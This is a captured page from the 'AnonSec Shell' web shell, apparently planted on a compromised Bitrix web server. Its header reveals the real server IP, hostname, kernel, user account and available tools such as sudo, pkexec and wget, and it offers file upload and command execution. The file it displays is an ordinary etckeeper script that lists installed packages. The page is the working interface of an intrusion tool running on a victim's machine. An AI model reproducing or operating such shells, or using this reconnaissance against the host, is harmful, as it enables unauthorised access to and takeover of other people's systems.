AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.17.76.126
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/981/root/etc/etckeeper/list-installed.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/981/root/etc/etckeeper/list-installed.d/50list-installed
#!/bin/sh
if [ "$1" = fmt ]; then
	# If the list format changes, change the fmt
	if [ "$LOWLEVEL_PACKAGE_MANAGER" = dpkg ]; then
		echo 2
	else
		echo ""
	fi
else
	# Keep the sort order the same at all times.
	LC_COLLATE=C
	export LC_COLLATE
	unset LC_ALL

	# Output to stdout a *sorted* list of all currently installed 
	# (or removed but still with config-files) packages, in the
	# format "package version\n" (or something similar).
	if [ "$LOWLEVEL_PACKAGE_MANAGER" = dpkg ]; then
		dpkg-query -W -f '${Status}\t${Package} ${Version} ${Architecture}\n' | \
			grep -E '(ok installed|ok config-files)' | cut -f2,3
	elif [ "$LOWLEVEL_PACKAGE_MANAGER" = rpm ]; then
		rpm -qa --qf "%|epoch?{%{epoch}}:{0}|:%{name}-%{version}-%{release}.%{arch}\n" | sort
	elif [ "$LOWLEVEL_PACKAGE_MANAGER" = pacman ]; then
		pacman -Q
	elif [ "$LOWLEVEL_PACKAGE_MANAGER" = pacmatic ]; then
		pacmatic -Q
	elif [ "$LOWLEVEL_PACKAGE_MANAGER" = pkgng ]; then
		pkg info -E "*"
	elif [ "$LOWLEVEL_PACKAGE_MANAGER" = apk ]; then
		apk info -v | sort
	elif [ "$LOWLEVEL_PACKAGE_MANAGER" = xbps ]; then
		xbps-query -l | awk '{print $2}' | sed -r 's/-([^-]+)$/ \1/g;'
	elif [ "$LOWLEVEL_PACKAGE_MANAGER" = qlist ]; then
		qlist -ICv
	elif [ "$LOWLEVEL_PACKAGE_MANAGER" = cave ]; then
		cave print-packages -r installed
	fi
fi

Anon7 - 2022
AnonSec Team